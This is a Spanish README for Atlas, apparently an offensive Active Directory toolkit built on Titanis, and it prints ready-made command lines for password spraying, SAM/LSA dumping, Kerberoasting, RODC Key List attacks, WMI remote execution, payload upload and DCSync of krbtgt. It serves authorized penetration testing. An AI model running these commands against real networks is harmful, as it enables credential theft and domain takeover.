
Herramienta de ejecución de red multiplataforma (SMB/Kerberos/WMI/LDAP/DCSync) construida sobre Titanis de TrustedSec: flujo de trabajo estilo NetExec en C#
Atlas es un kit de herramientas multiplataforma (Windows/Linux) de ejecución en red y evaluación de seguridad construido sobre la biblioteca de protocolos Titanis de TrustedSec. Está inspirado en el flujo de trabajo de NetExec/CrackMapExec: listas de objetivos, conjuntos de credenciales, enumeración modular y salida de consola compacta [HH:mm:ss] [+] host - mensaje.
Esta herramienta está destinada a pruebas de seguridad autorizadas. Úsala únicamente contra sistemas para los que tengas permiso explícito de prueba.
| Protocolo | Capacidades |
|---|---|
smb | Verificación de autenticación (NTLM/Kerberos/anónimo), recursos compartidos, usuarios, grupos, discos, sesiones vía RPC SRVS/SAMR; volcado de secretos SAM y LSA vía Registro Remoto; listado de directorios, get/put/mkdir/rm sobre SMB2/3 |
kerberos | Enumeración de usuarios (clasificación AS-REQ), detección de pre-auth / AS-REP roastable, Kerberoasting con salida en formato hashcat, ataque Key List contra RODCs |
wmi | Verificación de autenticación vía DCOM/WMI, ejecución remota de comandos vía Win32_Process.Create |
ldap | Verificación de autenticación (bind simple SASL o RFC 4511), consultas paginadas de subárbol con selección de atributos |
dcsync | Replicar material de credenciales desde un DC vía [MS-DRSR] (IDL_DRSGetNCChanges + EXOP_REPL_OBJ) |
Compartido entre todos los protocolos:
a.b.c.d-e), listas separadas por comas, @file.kirbi/.ccache, certificados PKINIT, S4U, anulaciones de SPN, SOCKS5El repositorio incluye el código fuente de Titanis bajo external/Titanis y lo compila como parte de la solución.
git clone https://github.com/<your-account>/atlas.git
cd atlas
dotnet build Atlas.sln -p:NoWarn=CS1998
El binario resultante es una aplicación .NET dependiente del framework:
dotnet src/Atlas.Cli/bin/Debug/net8.0/atlas.dll --help
atlas <protocol> <targets> [authentication] [actions] [options]
La especificación de objetivos acepta cualquier combinación de: HOST, 10.0.0.5, 192.168.1.0/24, 10.0.0.1-64, listas separadas por comas o @targets.txt.
# Solo verificación de credenciales
atlas smb 10.0.0.5 -u administrator -p 'Password1!'
# Enumeración
atlas smb 10.0.0.0/24 -u admin -p 'Password1!' -Shares -Users -Groups -Disks -Sessions
# Volcado de SAM / LSA (requiere administrador local)
atlas smb 10.0.0.5 -u admin -p 'Password1!' -Sam -Lsa
# Operaciones de archivos
atlas smb 10.0.0.5 -u admin -p pass -LsPath 'C$\Users'
atlas smb 10.0.0.5 -u admin -p pass -GetFile 'C$\Windows\win.ini'
atlas smb 10.0.0.5 -u admin -p pass -PutSource ./payload.bin -PutDest 'C$\Temp\payload.bin'
# Módulos
atlas smb 10.0.0.0/24 -u admin -p pass -M spider -mo 'depth=3,maxfiles=50,match=.conf'
atlas smb 10.0.0.0/24 -u admin -p pass -M shareaccess
atlas smb 10.0.0.5 -u admin -p pass -M localadmins
# Pulverización de contraseñas
atlas smb 10.0.0.0/24 -UserList users.txt -PassList 'Password1!,Summer2024!'
# Enumeración de usuarios (no requiere credenciales)
atlas kerberos dc01.corp.local -d CORP.LOCAL -UserList users.txt
# Kerberoasting (requiere cualquier credencial de dominio)
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p 'Password1!'
atlas kerberos dc01.corp.local -d CORP.LOCAL -Roast -u lowpriv -p pass -SpnList 'MSSQLSvc/sql01.corp.local:1433'
# Ataque Key List contra un RODC
atlas kerberos rodc01.corp.local -d CORP.LOCAL -rodcNo 20000 -rodcKey <aes256-hex> -UserList 'jdoe:1104'
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass # verificación de autenticación
atlas wmi dc01.corp.local -d CORP.LOCAL -u admin -p pass -x whoami # ejecución
# Bind SASL (NTLM/Kerberos) - típico contra Active Directory
atlas ldap dc01.corp.local -d CORP.LOCAL -u user -p pass -Query '(adminCount=1)' -Attrs sAMAccountName
# Bind simple RFC 4511 - típico contra OpenLDAP
atlas ldap ldap.example.com -bd 'cn=admin,dc=example,dc=com' -bp password \
-Query '(objectClass=*)' -Base 'dc=example,dc=com'
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass krbtgt
atlas dcsync dc01.corp.local -d CORP.LOCAL -u admin -p pass jdoe '(adminCount=1)'
Ejecuta atlas <protocol> -h para la referencia completa de parámetros.
Atlas.sln
Directory.Build.props No-op intencional (ver nota)
src/
Atlas.props Configuración de compilación compartida (importada explícitamente por los proyectos Atlas)
Atlas.Core/ Análisis de objetivos, salida de consola, registro de módulos
Atlas.Protocols.Smb/ Host SMB + módulos
Atlas.Protocols.Kerberos/ Enumeración AS-REQ, roasting, ataque Key List
Atlas.Protocols.Wmi/ Host WMI/DCOM
Atlas.Protocols.Ldap/ Host LDAP
Atlas.Protocols.Drsr/ DCSync
Atlas.Cli/ Punto de entrada / despachador de protocolos
external/Titanis/ Código fuente de Titanis incluido (compilado desde fuente; no en NuGet)
Nota:
Directory.Build.propsen la raíz del repositorio está intencionalmente vacío. La compilación de Titanis importa$(SolutionDir)Directory.Build.props; el archivo debe existir al compilar desde esta solución pero debe permanecer vacío para que la configuración ascendente no se filtre al árbol incluido.
Este proyecto enlaza y distribuye código fuente de Titanis de TrustedSec, que está licenciado bajo GPL-3.0. En consecuencia, este proyecto se distribuye bajo GPL-3.0. Ver external/Titanis/LICENSE.
| Módulo | Protocolo | Descripción |
|---|
spider | smb | Rastreador recursivo de recursos compartidos (opciones depth, maxfiles, match) |
shareaccess | smb | Verificación de acceso READ/WRITE por recurso compartido |
localadmins | smb | Miembros del grupo Administradores local vía SAMR, nombres resueltos a través de LSA |
| Opción | Significado |
|---|
-u, -UserName | Nombre de usuario (user, DOMAIN\user o user@realm) |
-p, -Password | Contraseña |
-NtlmHash | Hash NT (NTLM + Kerberos RC4) |
-AesKey | Clave Kerberos AES128/AES256 |
-Kdc | Endpoint KDC para Kerberos |
-Tgt / -TicketCache / -Tickets | Entrada de tickets .kirbi / .ccache |
-Keytab | Archivo keytab |
-UserCert (+-UserKey) | Autenticación con certificado PKINIT |
-Anonymous | Sesión nula |
-ha | Anulación de dirección de host (usa FQDN en la posición de objetivo + IP aquí para SPNs correctos) |